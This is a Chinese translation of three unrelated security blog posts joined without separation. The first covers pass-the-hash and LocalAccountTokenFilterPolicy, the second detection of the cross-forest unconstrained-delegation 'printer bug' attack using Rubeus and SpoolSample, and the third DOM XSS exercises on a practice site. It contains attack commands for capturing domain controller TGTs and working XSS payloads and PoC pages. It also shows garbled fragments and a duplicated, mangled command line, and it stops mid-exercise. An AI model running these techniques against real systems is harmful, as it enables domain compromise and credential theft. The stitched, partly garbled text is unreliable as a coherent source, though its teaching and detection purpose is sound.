对于任何非 rid 500的本地管理员帐户远程连接到 Windows Vista+ 的计算机,无论是通过 WMI、 PSEXEC 还是其他方法,返回的令牌都是"已过滤的"(即中等完整性) ,即使用户是本地管理员。 由于没有方法可以远程升级到高完整性的上下文,除非通过 RDP (除非启用"受限管理"模式,否则需要明文密码) ,令牌才会保持中等完整性。 因此,当用户试图远程访问一个特权资源(例如 admin$)时,他们会收到一条"Access is Denied"消息,尽管从技术上讲他们确实拥有管理访问权限。 不过,我马上就会得到 RID 500的例外案例;)

对于本地"管理员"组中的本地用户帐户,"Windows Vista 用户帐户控制兼容性应用程序开发要求"文档描述了以下行为:

在 Windows Vista 计算机的本地安全帐户管理器(SAM)数据库中拥有管理员帐户的用户远程连接到 Windows Vista 计算机时,该用户在远程计算机上没有特权提升的潜力,不能执行管理任务。

微软官方发布的"描述 Windows Vista 中的用户帐户控制和远程限制"的文章中用另一种方式描述了这一点:

当目标远程计算机上的本地管理员用户组的成员的用户建立远程管理连接时… … 他们将不会以完全的管理员身份连接。 用户在远程计算机上没有特权提升潜力,并且用户无法执行管理任务。 如果用户希望使用安全帐户管理器(SAM)帐户管理工作站,则用户必须交互式地登录到要使用远程协助或远程桌面管理的计算机。

对于本地"管理员"用户组中的域用户帐户,文档中有如下声明:

当拥有域用户帐户的用户远程登录到 Windows Vista 计算机,并且该用户是 Administrators 用户组的成员时,域用户将使用远程计算机上的完全管理员访问令牌运行,并且远程计算机上的用户在该会话期间会禁用 UAC。

这就解释了为什么本地管理帐户在远程访问时会失败(除了通过 RDP) ,以及为什么域帐户却是成功的。 但是,为什么内置的500 RID 管理员帐户会作为一个特殊情况呢? 因为默认情况下,内置管理员帐户(即使重命名)使用了完全的管理特权("完全令牌模式")运行了所有的应用程序,这意味着用户帐户控制没有得到有效应用。 因此,当使用此帐户启动远程操作时,将授予完全高完整性(即未过滤的)的令牌,允许正确的管理访问!

只有一个例外——"管理批准模式"。 指定此选项的注册表键位于 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken,默认情况下是禁用的。 但是,如果启用此密钥,RID 500帐户(即使已重命名)将被注册为 UAC 保护。 这意味着使用该帐户的机器的远程 PTH 将会失败。 但是对于攻击者来说,还有一线希望——这个密钥通常是通过组策略设置的,这意味着任何经过域身份验证的用户都可以通过 GPO应用程序枚举机器所做的事情以及不设置 FilterAdministratorToken键值。 虽然这会忽略在标准"gold"镜像上设置键值的情况,但是从攻击者登陆的初始机器上执行这个键值枚举,结合 GPO 枚举,应该可以覆盖大多数情况。

请记住,尽管 Windows 默认禁用了内置的500 Administrator 帐户,但在企业中启用该帐户的情况仍然相当普遍。 我最初发表的关于 pass-the-hash 的文章涵盖了这些信息的基本远程枚举,这篇文章将进一步详细介绍这些信息。

LocalAccountTokenFilterPolicy

对于我们攻击者来说,还有一线希望,还有一些比我们最初意识到的更具防御意义的东西。 Jonathan Renard 在他的"*Puff* *Puff* PSExec"的文章中提到了其中一些东西(以及管理员批准模式) ,但是我想扩展一下关于整个 pass-the-hash 讨论的内容。

如果 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy 键存在(默认情况下不存在)并设置为了1,那么在协商期间,管理员用户组的所有本地成员的远程连接都被授予完全高完整性的令牌。 这意味着非 rid 500帐户连接不会被过滤,并且可以成功地传递哈希!

Picture4.png

Picture5.png

Picture6.png

那么为什么要设置这个注册表条目呢? 在谷歌上搜索这个关键名称会出现不同的情况。在我们现在所说的这种情况下,这是一种解决方案,但有一个常见的功能: Windows Remoting。 有大量的微软文档建议将 LocalAccountTokenFilterPolicy 设置为1,来作为解决各种问题的方法或解决方案:

· 不建议通过更改控制远程 UAC 的注册表项来禁用远程 UAC,但可能有必要..

· Set-ItemProperty –Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System –Name LocalAccountTokenFilterPolicy –Value 1 –Type DWord

· 用户帐户控制(UAC)会影响对 WinRM 服务的访问

· … 你可以使用 LocalAccountTokenFilterPolicy 注册表项来更改默认行为,并允许管理员用户组的成员的远程用户使用 Administrator 特权运行

· 如何禁用 UAC 远程限制

此外,我相信在某些情况下,WinRM 的quickconfig 命令甚至可以自动设置这个键,但是我不能可靠地重新创建这个场景。在微软的"从远程计算机获取数据"的文档中做了进一步的详细解释:

由于使用了用户帐户控制(UAC) ,远程帐户必须是域帐户和远程计算机 Administrators 用户组的成员。 如果帐户是 Administrators 用户组的本地计算机成员,则 UAC 不允许访问 WinRM 服务。 要访问工作组中的远程 WinRM 服务,必须通过创建以下 DWORD 注册表项并将其值设置为1来禁用针对本地帐户的 UAC 过滤: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] LocalAccountTokenFilterPolicy。

这是个坏建议,坏坏坏坏坏透了的建议! 我意识到可能需要这个设置来帮助一些特定的 WinRM 部署场景,但是一旦 LocalAccountTokenFilterPolicy 被设置为1,那么就可以使用机器上的 任何(注意是任何!)本地管理员帐户来向目标传递-哈希。 我觉得大多数人,包括我自己,还没有意识到这个修改所隐含的实际安全含义。 我在所有的微软文档中看到的唯一真正的警告是"注意: LocalAccountTokenFilterPolicy 条目将禁用所有受影响的计算机的所有用户的用户帐户控制(UAC)远程限制。 在改变策略之前,要仔细考虑这种背景的影响。"。 由于这种设置会给企业环境带来巨大的风险,因此我希望从微软那里得到更好的明确指导和警告,而不仅仅是"考虑其影响",但是¯\_(ツ)_/¯

从操作角度来说(从攻击性的角度来看) ,最好检查一下你的跳板机器上是否将 LocalAccountTokenFilterPolicy 键设置为了1,因为同一子网或OU中的其他机器也可能具有相同的设置。 你还可以列举组策略设置,看看这个注册表键是否是通过 GPO 设置的,这也是我将在以后的文章中讨论的内容。 最后,你可以使用 PowerView 列举任何启用了 Windows Remoting 的 Windows 7和 Service 2008机器,希望它们运行的 Windows Remoting 没有正确设置:

Get-DomainComputer -LDAPFilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -SPN "wsman*" -Properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl

Picture7.png

同样值得注意的是,微软的 LAPS 实际上让这里的一切都变得毫无意义。 由于 LAPS 定期为计算机随机设置本地管理员密码,所以传递哈希仍然可以有效地工作,但它极大地限制了恢复和重用本地密钥的能力。 这使得传统的 PTH 攻击(至少是本地账户)基本上变得无效。

在这篇文章中,我将针对威尔的文章中解释的攻击变量提供初步的侦查指导,主要关注一些通常由强制机器帐户认证方法生成的安全事件。 我还会提供一些具体的指标,说明 Rubeus 监控 TGTs 所产生的 Windows 安全事件,以及 Lee Christensen 开发的唯一公开的概念验证代码 SpoolSample ("printer bug")的执行情况。 SpoolSample 用于强制授权到一个无约束的服务器。 还有数百台 RPC 服务器尚未进行分析,比如 SpoolSample 代码中使用的 打印机服务器。 因此,我们不能假设攻击者总是使用 RPC 打印机服务器来执行这种攻击。 此外,重要的是要明白,像这样的攻击不会在真空中发生。 还有其他事件和行动,可能需要在发生之前,期间和之后,以实现行动的主要目标。

攻击解释

威尔在他的文章中从进攻的角度提供了很多关于攻击如何进行的信息。 作为防御者,了解敌方采取的每个步骤以确定可以提供足够信息以帮助侦测攻击活动的潜在数据源是非常重要的。 他引用了"一个攻击者在一个森林中入侵了一个域控制器或服务器(或者任何在该森林中具有无限授权的服务器) ,可以强迫外部森林中的域控制器通过"打印机漏洞"验证到攻击者控制的服务器,由于各种授权设置,外部域控制器的票据授予票据(TGT)可以在攻击者控制的服务器上提取、重新应用,并用于破坏外部林中的证书。"

理解攻击中使用的概念

在我们开始模拟和记录这种攻击的检测之前,了解攻击者做了什么以及为什么这样做非常重要。 在本节中,我将提供几篇帮助我更好地理解这种攻击的文章和文档。 关于威尔的文章中描述的攻击方式,有几件事情支持了我的想法:

· 无约束委派服务器

· 森林信托(双向信托)

· “打印机漏洞”强制认证

什么是委派?

简单地说,委派允许服务器应用程序在服务器连接到其他网络资源时模拟客户端。 根据微软官方文档的说明,微软将委派定义为向服务器授权并允许它代表客户机在环境中使用其他远程系统的操作。服务器与其他服务器通信以代表客户机执行任务是很常见的情况。

Kerberos 委派的类型

Kerberos 委派有三种类型,下表概述了这些类型的具体情况:

01.png

Kerberos 无约束委派有什么有趣的地方?

根据微软的官方文档,当用户通过另一个服务(前端服务器具有无限制的委派)请求访问一个服务(后端服务器)时,会发生以下情况:

02.png

1. 用户通过发送 KRB_AS_REQ消息、身份验证服务(AS)交换中的请求消息,向密钥分发中心(KDC)进行身份验证,并请求一个可转发的 TGT。

2. KDC 在 KRB_AS_REP消息中返回了一个可转发的 TGT,这是身份验证服务(AS)交换中的响应消息。

3. 从步骤2开始,用户基于可转发的 TGT 请求一个转发的 TGT。 这是通过 KRB_TGS_REQ 消息完成的。

4. KDC 在 KRB_TGS_REP 消息中为用户返回一个转发的 TGT。

5. 用户使用步骤2中返回的 TGT 请求服务票证到服务1。 这是通过KRB_TGS_REQ 消息完成的。

6. 票据授予服务(TGS)以 KRB_TGS_REP 的形式返回服务票据。

7. 用户通过发送 KRB_AP_REQ 消息向 服务1发出请求,提供服务票证、转发的 TGT 和转发的 TGT 的会话密钥。

8. 为了满足用户的请求,服务1需要服务2代表用户执行一些操作。 服务1使用用户的转发 TGT,并在 KRB_TGS_REQ 中将其发送给 KDC,以用户的名义要求获得服务2的票据。

9. KDC 在 KRB_TGS_REP 消息中返回服务2到服务1的票据,以及服务1可以使用的会话密钥。 票据将客户机标识为用户,而不是服务1。

10. 服务1通过作为用户的 KRB_AP_REQ 向服务2发出请求。

11. 服务2做出响应。

12. 有了这个响应,服务1现在可以在步骤7中响应用户的请求

13. 这里描述的 TGT 转发委派机制不限制 服务1对转发 TGT 的使用。 服务1可以向 KDC 索取以用户名义提供的任何其他服务的票据。

14. KDC 将返回所要求的票证。

15. 然后,服务1可以继续使用服务 N 模拟用户。 例如,如果服务1被破坏,这可能会造成风险。 服务1可以继续伪装成其他服务的合法用户。

16. 服务 N 将响应服务1,就像它是用户的进程一样。

配置了无约束委派的服务器最终可以使用转发的 TGT,不仅可以访问网络中其他未被请求的服务,而且可以执行攻击,如 DCSync,如果它是一个域控制器的 TGT的话。 你可在此浏览有关详情。 如你所知,滥用无约束委派概念并不是什么新鲜玩意儿。 然而,同时非常有趣和糟糕的是,攻击者还可以通过双向信任设置在外部森林中使用这种技术。 森林信任最终不再是安全边界。

更多关于"委派"的信息可以在威尔的文章"关于委派的另一个词"中找到。

什么是森林信任?

微软官方文档将信任定义为域之间建立的一种关系,这种关系使得一个域中的用户可以通过另一个域中的域控制器认证。 威尔还在他的"攻击域信任指南"的文章中提供了关于域和林信任的更多信息。

信任类型

默认的信任

当向根域添加新域时,默认情况下会创建双向传递信任

03.png

其他信任

04.png

为了这篇文章的目的,以及契合威尔在他的文章中定义的攻击思路,我们将从防御的角度来看林的双向信任。 理解这一点非常重要,因为可能会有 Windows 安全事件显示攻击期间两个林之间的活动。

什么是「打印机Bug」 ?

Lee 将打印机 bug 描述为 Windows Print System Remote Protocol (MS-RPRN)中的一个老旧但默认启用的方法,拥有域用户帐户的攻击者可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (Ex)方法强制任何运行 Spooler 服务的机器通过 Kerberos 或 NTLM 验证攻击者选择的目标。

什么是[ MS-RPRN ]打印系统远程协议?

根据微软的官方文档,它基于远程过程调用(Remote Procedure Call,RPC)协议,支持客户机和服务器之间的同步打印和后台处理操作,包括打印作业控制和打印系统管理。 此外,打印系统远程协议仅在命名管道上使用 RPC。 因此,我希望看到源服务器和目标服务器之间通过端口445进行网络连接。

Rpcremotefindfirstprinterchangenotification (Ex)做了什么?

它可用于创建远程更改通知对象,该对象监视对打印机对象的更改,并向打印客户机发送更改通知。 在"打印系统更改通知"例子中使用的这种方法的一个例子可以在这里找到:

05.png

Lee 的 POC 只执行前两个方法(RpcOpenPrinter 和 rpcremotefindfirstprinterchangenoticationex) ,并在通知方法返回非零 Windows 错误代码后停止。 目标(打印机服务器)和客户机(无约束服务器)之间的初始连接是"打印机 bug"工作所需的全部内容。 当执行 RpcOpenPrinter 方法时,它需要返回一个 ERROR success 值来跳转到通知方法,该方法预计会失败,并且具有特定的非零返回值。 Lee 的 POC 监视以下两个返回的 ERROR 值,并提供以下消息:

· ERROR_ACCESS_DENIED: 目标服务器试图进行身份验证,但访问被拒绝。 如果将身份验证强制到 NTLM 挑战-响应捕获工具(例如 responder/inveigh/msf SMB 捕获) ,那么这是符合预期的,并表明强制身份验证有效"

· ERROR_INVALID_HANDLE: "尝试打印机通知并收到无效句柄。 强制认证可能起作用了!"

我希望这些内容有助于你在运行攻击之前了解一些初始背景知识,并记录可能的数据源,这些数据源可以帮助我们验证威尔提供的新技术变体的检测。

模拟攻击变化

要求

双向信任的两个林

一个是已经被入侵的林

· 带有不受限制的委派配置的被入侵的服务器(hygi.covertius.local)。 对于这个用例,攻击者入侵了根域的域控制器/目录(DC) ,并在单独的林中对另一个 DC使用这台域控 。

一个是充当受害者的林

· 由于我们希望充当受害者的林的 TGT 随后通过配置无约束的授权从已被入侵的 DC 执行 DCSync 攻击,因此需要将一个域控制器(rikers.cyberpartners.local)作为受害者

所需的工具

· RubeusSpoolSample 可用于配置了无约束委派的服务器。

日志记录:

· Windows 安全事件日志已启用,记录每个事件日志类别和子类别,因为我不想假设事件只显示在特定的事件类别或子类别。 在记录攻击生成的数据之后,我将提供需要启用哪些功能的摘要。

我们在做什么?

威尔在他的这篇文章中提供了一个很好的攻击大图。 我喜欢这张图片,因为它为每一步添加了一些具体的细节。

06.png

配置已被入侵的无约束委派服务器的步骤

从提升了权限的提示符(cmd.exe)执行以下命令,根据服务器名称设置替换值:

Rubeus.exe monitor /interval:5 /filteruser:VICTIM-DC-NAME$

07.png

从另一个提示(不一定要提升权限),执行下面的命令 :

SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME

08.png

(如果第一步没有得到任何关于 Rubeus 提示符的信息,你可能需要再次运行第二步。 我不得不运行 SpoolSample 两次,因为我没有得到任何东西。

09.png

Rubeus 应该捕捉了来自受害者域控制器的身份验证并导出了这台域控的 TGT。

10.png

所需的数据源

11.png

安全事件序列

本地执行 Rubeus,并开始监视 rikers $Account 中的4624登录事件。

12.png

使用 hydrogen.covertius.local的账户 localadmin 执行 SpoolSample POC,并将目标服务器设置为 rikers.cyberpartners.local,将捕获服务器设置为 hydroxy.covertius.local。 换句话说,hydrogen 将强制 rikers 做认证。

13.png

hydrogen.covertius.local 中的帐户 localadmin 使用 SPN CYBERPARTNERS.LOCAL 请求 Kerberos 服务票证,用于连接到其他林。 Kerberos 授权的发生是因为 SpoolSample 使用服务器的 DNS 名称而不是服务器的 IP 地址。

14.png

Hydrogen.covertius.local 通过 ldap 查询外部 DC rikers.cyberpartners.local

15.png

Hydrogen.covertius.local通过88号端口(Kerberos)与 rikers.cyberpartners.local 进行通信,以申请访问 rikers.cyberpartners.local的服务票据。

16.png

Rikers.cyberpartners.local收到一个来自hydrogen.covertius.local的带有SPN rikers$ 的 Kerberos 服务票据请求。

17.png

帐户 localadmin 请求一个带有 SPN krbtgt 和票据选项0x60810010的 Kerberos 服务票据。

18.png

Hydrogen.covertius.local 通过 SMB 端口445(Outbound)使用 MS-RPRN RpcOpenPrinter 方法启动与 rikers.cyberpartners.local 的通信,以便从"打印机服务器"(rikers)中检索打印机句柄。

19.png

Rikers.cyberpartners.local接收到一个来自 hydrogen.covertius.local 的localadmin 账户的成功的身份验证。

20.png

名为  IPC$的命名管道共享可以在 rikers.cyberpartners.local 上通过使用 covertius 域的 localadmin 进行访问,以便绑定到 spoolss 服务。

21.png

rikers.cyberpartners.local请求一个带有 SPN COVERTIUS.LOCAL 的 Kerberos 服务票据,用于连接回被入侵的林并通过配置的不受限制的委派验证到服务器(hygi.COVERTIUS.LOCAL)。 Kerberos 授权的发生是因为 SpoolSample 使用服务器的 DNS 名称而不是它的 IP 地址。

22.png

Rikers.cyberpartners.local查询域控hydrogen.covertius.local。

23.png

Rikers.cyberpartners.local  通过端口88(Kerberos)建立了到域控 hydrogen.covertius.local 的连接。

24.png

Hydrogen.covertius.local收到一个 Kerberos 服务票据请求,该请求要求从 rikers$获得SPN hydrogen$ 。

25.png

rikers.cyberpartners.local通过 445端口返回一个连接到 hydroxy.covertius.local 作为打印机 bug 活动的一部分。

26.png

当 riker$认证到 hydroxy.covertius.local 时,会发生 SID 过滤,因为 riker$在缺省情况下与其他域控一样,是企业域控制器组(SID Enterprise Domain Controllers (S-1-5-9))的一部分。 一些额外信息: 微软官方文档

27.png

帐户 localadmin 请求了一个带有 SPN krbtgt 和 票据选项0x60810010的 Kerberos 服务票据。 由于委派的存在,我们可以看到本地管理员看起来像是来自10.7.30.100(rikers server)这台服务器。

28.png

hydrogen.covertius.local 收到了一条来自 rikers.cyberpartners.local 的 rikers$ 账户的成功认证请求。 这确认 rikers$被强制通过不受限制的委派配置验证到了我们的服务器。

29.png

由于委派的存在,本地管理员也成功地登录到了域控hydrogen  (它本身) ,但源 IP 值被设置为了 rikers 的 IP 地址。

30.png

特殊权限分配给了新的登录会话。

31.png

名为 IPC$的命名管道共享可以在 hydroxy.covertius.local 上由 rikers.cyberpartners.local 机进行访问,以便绑定到客户机上的 spoolss 服务。 需要指出的是,访问 IPC$的帐户是来自 COVERTIUS域的本地管理员,而不是 rikers$(委派)用户。

32.png

一旦 Rubeus 捕捉到从 rikers$到 Hydrogen的4624登录事件,它将提取 rikers$的TGT。 它首先使用一个助手程序(helper)建立到 LSA 服务器的连接,并验证调用者是否是登录应用程序。 如果第一步失败,那么可能是运行 rubeus 的用户没有获取到 LSA 句柄的适当权限。 事实也就是这样的:

33.png

一旦失败,Rubeus 使用自己的 GetSystem 函数通过令牌模拟将本地管理帐户提升到 SYSTEM。 然后,它将再次尝试执行,现在它就能够获得到 LSA 句柄并执行 Kerberos 票据枚举。

34.png

作为 LSA 句柄的一部分,Rubeus 用3"SSS"注册了登录应用程序名——"User32LogonProcesss"。 正确的名称应该是 User32LogonProcess,它是微软官方文档中 LsaRegisterLogonProcess 函数的 LogonProcessName 参数的一个示例。

35.png

到目前为止,没有其他事件发生。 攻击接下来能做什么取决于它们希望使用提取的 TGT 完成什么。 这篇文章的目的是记录在执行威尔的文章中所提到的攻击方法的主要步骤中产生的安全事件。

初步检测建议:

Rubeus

· Rubeus 是可以在磁盘上执行的概念证明(POC),因此你可以基于命令行参数构建基本签名。 请记住,命令行的值具有很高的攻击影响等级,这意味着命令参数可以被攻击者操纵,这样就可以轻松地绕过原始参数的签名。

· 在记录事件日志时,当 Rubeus 列举 Kerberos 票据时,发现了一个 Rubeus 签名的入侵检测指标。 这个过程涉及到在获取 LSA 句柄时登录过程的应用程序名称。 Rubeus 注册以下名称: User32LogonProcesss (是的,最后有三个"s")。 在安全事件4611中,这应该会立即显示在你的环境日志中。 此外,即使拼写正确,"User32LogonProcess"也不像其他登录应用程序名称(如 Winlogon)那样常见,因此值得对此进行监控。

· 另一种检测 Rubeus 的方法是将注意力集中在它更普遍的行为上。 当 Rubeus 尝试获取 LSA 句柄时,如果它使用的帐户没有设置 SeTcbPrivilege 特权,那么它调用 LsaRegisterLogonProcess 特权服务时就会失败。 检查安全事件4673中非系统用户正在调用的特权服务和审计失败记录。

不受限制的委派和双向信任森林

攻击的这种特定变体迫使域控制器通过双向林信任配置的不受约束的委派验证到了被入侵的服务器。 因此,正如我们在这个事件序列中看到的,期望无约束服务器上的 SID 筛选事件(安全事件4675) ,使用筛选的 SID 匹配企业域控制器(S-1-5-9)。

· 获取一个配置了无约束委派的服务器列表,并对安全事件 4675的每个实例进行堆叠。

· 通过 SID S-1-5-9过滤结果。 你将从其他林获得有关多个域控的通信(潜在受害者或常规行为)。

· 你还可以堆叠由 Tdo (可信域对象) 域sid 进行的第一次聚合所获得的值。 这将告诉你特定的可信域的 sid 通过双向信任与潜在的不受限制的服务器进行了通信。

监视成功的网络登录(类型3)发生在服务器上,无约束的委派配置来自域控制器"dcname$",它属于跨独立林的外部域。

SpoolSample

· Spoolsample 工具的检测非常直接明了。 你可以使用安全事件5145监视访问名为IPC$的管道共享的无约束委派服务器,以便通过域控制器绑定到单独域中的后台服务。 请记住,除了 SpoolSample POC 之外,还有其他 RPC 服务器可能用于强制身份验证。 因此,从不受限制的服务器上通过 IPC$寻找对 spoolss 服务的访问只涉及这种攻击方法的实现。

我希望这篇文章能够帮助那些刚刚从我的队友威尔那里读到的"非安全边界: 破坏森林信任"的博客文章的读者,并且希望了解更多关于攻击执行时在端点级生成的大部分数据。 本文仅涉及一个端点数据源。 我将很快用更多的端点和网络数据源更新这篇文章,为这次攻击添加更多的上下文。 此外,攻击者决定使用 DC TGT 做的事情是为其他几篇文章提供内容。

最后,正如我在前面的文章中提到的,像这样的对抗性技巧不会在理想世界中发生。 因此,由于在特定环境中生成了大量类似的活动,你可能无法通过监视推荐的几个事件来捕获它们。 但是,在执行 DCSync 或其他一些方法时,你可能会在创建新进程并将票证导入到新的登录会话时捕获到一些事件。

我想感谢威尔对我的耐心指导,感谢他回答了我在写这篇文章时遇到的所有问题。 更多的更新检测方法和攻击的变化将很快会添加到我的博客中。

参考文献:

· https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/

· https://msdn.microsoft.com/en-us/library/cc246071.aspx

· https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/

· https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775736(v=ws.10)#trust-types-1

· https://www.youtube.com/watch?v=-bcWZQCLk_4

· https://www.slideshare.net/harmj0y/the-unintended-risks-of-trusting-active-directory

· https://msdn.microsoft.com/en-us/library/cc237940.aspx

· https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)

· https://blogs.technet.microsoft.com/networking/2009/04/28/rpc-to-go-v-3-named-pipes/

· https://support.microsoft.com/en-us/help/243330/well-known-security-identifiers-in-windows-operating-systems

· https://docs.microsoft.com/en-us/windows/desktop/printdocs/findfirstprinterchangenotification

· https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759073(v=ws.10)#forests-as-security-boundaries

· https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755427(v=ws.10)

· https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn745899(v=ws.11)

· https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-global-objects

· https://msdn.microsoft.com/en-us/library/cc220234.aspx

· https://adsecurity.org/?p=1667

这一系列的博客文章将向你展示如何在单页或富JavaScript的应用程序上识别DOM XSS的问题。作为示例,我们将在DOM XSS playground(https://domgo.at)上解决10个练习题目,并为检测到的问题创建了简单的概念证明漏洞。

这篇文章的内容涵盖了前两个练习的设置说明和解决方案。剩余的练习将在我们发布的其他文章中提到。我们还将发布一个gitbook,其中包含了Appsecco书籍门户网站上所有练习的解决方案。

更新:gitbook会挂在我们的图书门户网站上—— https://appsecco.com/books/automating-discovery-and-exploiting-dom-client-xss/

什么是DOM XSS / Client XSS?

纵观Cross Site Scripting漏洞的历史,在测试人员和开发人员的心中都占有特殊的地位。使用标准检的测技术很难检测到这种XSS的变体,并且相对的来说,这种漏洞的变体很容易出现在大型的JS应用程序中。

OWASP将其定义为XSS的漏洞类型,其中的原因是由于这种漏洞是在受害者浏览器中通过原始客户端脚本修改DOM环境而执行攻击有效载荷,因此客户端代码以一种 “意外” 的方式运行。也就是说,页面本身(即HTTP响应)不会改变,但由于DOM环境中发生了恶意的修改,页面中包含的客户端代码执行方式发生了改变。

简而言之,当来自DOM源(如location.hash)的用户输入发现它赋值到了DOM接收器(如HTMLElement.innerHTML)时,就会发生客户端XSS漏洞。 DOM中有多个源,也可以有多个接收器,具体取决于JS的复杂程度和其所实现的功能。

通过手动的方式或代码审查来检测DOM XSS可能会花费大量的时间。一种可行的技术是通过一个工具从服务器发送流量,该工具可以注入自己的JS来监控DOM变化,只需浏览网站即可枚举所有源和接收器。

进入Sboxr

Sboxr是一个测试和调试Web应用程序的工具,尤其是大型的JavaScript应用程序。 Sboxr通过在浏览器和服务器之间的流量中注入它自己的JS代码(称为DOM传感器)来工作,该代码在使用站点时监视JS的使用情况,源,接收器,变量分配,函数调用等。然后,它通过其Web控制台显示用户控制的数据在数据最终出现在执行接收器中时所采用的各种流的视图。

设置Sboxr和Chrome 

我们使用Ubuntu 18.04来设置我们的攻击工具链以及Chrome 72。以下步骤将帮助你进行设置:

1、从供应商网站获取Sboxr的许可副本 – https://sboxr.com/

2、运行Sboxr需要.NET 核心 SDK,可以按照这里的(https://dotnet.microsoft.com/download/linux-package-manager/ubuntu18-04/sdk-current)说明在Linux上进行安装。对于Windows系统,请按照这个(https://dotnet.microsoft.com/download)说明进行操作即可。

3、安装完成后,通过运行dotnet Sboxr.dll启动Sboxr

4、程序启动后会在端口3333 http://localhost:3333/console 上访问到Sboxr Web界面(用于管理和分析发现的问题),端口3331是一个代理端口。

5、如果你希望链接Burp或其他拦截代理,请浏览并单击HTTP Sensor以设置上游代理(例如Burp或OWASP ZAP)的IP地址和端口。

01.png

设置完成后,我们需要配置浏览器向Sboxr发送流量(然后可以转发到Burp或OWASP ZAP)。

02.png

Sboxr目前还不支持SOCKS代理,因此你需要使用Burp或OWASP ZAP进行链接以阻止流量。

ED_:D_=>HTTPS站点可能无法与Sboxr一起正常工作,因为我们没有应该要导入的证书。因此,我们使用–ignore-certificate-errors参数启动Chrome(我们注意到Firefox的about:config中的禁用HSTS检查的network.stricttransportsecurity.preloadlist选项有一些问题,因此我们暂时会一直使用Chrome)。

在Linux上,使用以下命令启动Chrome:

mkdir -p ~/.chrome;/opt/google/chrome/chrome -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331\;https=http://localhost:3331 --user-data-dir=~/.chrome

在Windows系统上,可以执行以下操作(假设你的安装路径也是标准的安装路径)

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" -incognito --ignore-certificate-errors --proxy-server=http=http://localhost:3331;https=http://localhost:3331 --user-data-dir="C:\Users\%Username%\AppData\Local\Temp\TestChromeProxy"
\Program Files(x86)\Google \Chrome \Application \chrome.exe”-incognito --ignore-certificate-errors --proxy-server = http = http:// localhost:3331; https = http://localhost:3331 --user-data-dir =“C:\Users \%Username%\AppData \Local \Temp \TestChromeProxy”

检测并利用DOM XSS

在本文的这一部分,我们将使用Sboxr的创建者设置的客户端XSS playground来练习我们对客户端XSS漏洞的检测和利用技能。

https://domgo.at 。

概念验证漏洞Demo。这些漏洞可用于在提交错误报告时创建你自己的PoC,因为它们允许读者查看正在执行的用户控制的数据。 

练习1

1、浏览到https://domgo.at/ 并单击左侧窗格中的练习1,就可以使用命令行选项启动Chrome中的第一个练习。

2、切换到Sboxr控制台并单击Sboxr侧栏中的代码执行

03.png 

3、从HTML上下文可以看出,数据源是location.hashproperty,导致执行的接收器是HTMLElement.innerHTML

04.png

4、点击“代码执行”图标将打开代码执行详细信息的窗口。

05.png

5、通过单击View事件位置详细信息的那个狙击图标,我们可以清楚地看到JS中我们的数据在哪里被接收器HTMLElement.innerHTML使用。

06.png

6、为了显示location.hash属性是可利用的,我们通过源传递JS并让它到达接收器以查看它是否已执行。

7、题目的解决方案是通过location.hash属性传递<svg onload=alert(document.domain)>。最终的漏洞利用PoC是 –  https://domgo.at/cxss/example/1?payload=abcd&sp=x# <svg%20onload= alert(document.domain)>

07.png

练习2

1、单击侧栏上的练习1来加载练习题目1

2、单击侧栏上的练习 –  2以加载第二个练习题目。必须通过点击操作进入题目,而不是直接浏览到题目的URL,因为本练习中的源是document.referrer属性。

3、我们按照与上一个练习相同的步骤开始,然后单击Sboxr侧栏中的“代码执行”

08.png

4、我们从易受攻击的代码中看到,如果referrer的URL中有一个名为payload的参数,则将其提取并传递给接收器。

5、我们可以使用以下简单的HTML页面构建我们的漏洞。将其另存为exercise2.html并在本地托管(nginx/Apache/python/node/anything),然后通过http://127.0.0.1/exercise2.html?payload=<svg%20onload=alert(document.domain)>进行访问。

<html>
     <body>
         <h2>PoC for Exercise 2 of https://domgo.at</h2>
         <script>
             window.location="https://domgo.at/cxss/example/2"
         </script>
     </body>
 </html>

6、该页面将加载并立即重定向到练习页面,因为referrer属性是用户控制的代码执行是可能的。

09.png

接下来我们来说说其他4个练习的解决方案。剩余的练习将在我们将发布的其他文章中提到。

练习3

在许多Web应用程序中,来自外部的第三方应用程序的数据可以使用接收器,并将其作为目标应用程序的一部分,而无需清理收到的响应。在这种情况下,第三方应用程序的XHR端点可以将恶意代码注入到目标应用程序中。即使在XHR响应来自同一站点的情况下,你也需要验证数据在服务器上的结果。在现代应用程序中,应用程序从不同的源收集不受信任的数据并将它们存储在服务器端数据库中,最终这些不受信任的数据会进入目标应用程序,从而导致持久性的DOM XSS。

此练习涉及对JSON端点的XHR请求,该请求会将数据反射到客户端。然后将反射的数据添加到接收器HTMLElement.innerHTML,从而执行任意代码。

1、在“练习”页面的文本框中输入随机字符串,然后单击“执行有效载荷”的按钮。

10.png

2、数据将由JSON端点反射到https://domgo.at/data.json?payload=thanos

3、在代码执行窗口下使用Sboxr查看从源到接收器的数据流

11.png

4、我们可以准确地看到来自JSON响应的内容在接收器中使用并创建了一个漏洞。

12.png

5、要利用漏洞,请在文本框中传递字符串<img src=1 onerror=alert(document.domain)>

13.png

练习4

与XHR响应类似,受信任的websocket数据是良性的,无论它来自何处都可能导致DOM XSS问题。

此练习涉及对安全websocket端点的websocket请求,该请求将数据反射到客户端。然后将反射的数据添加到接收器HTMLElement.innerHTML,从而执行任意代码。

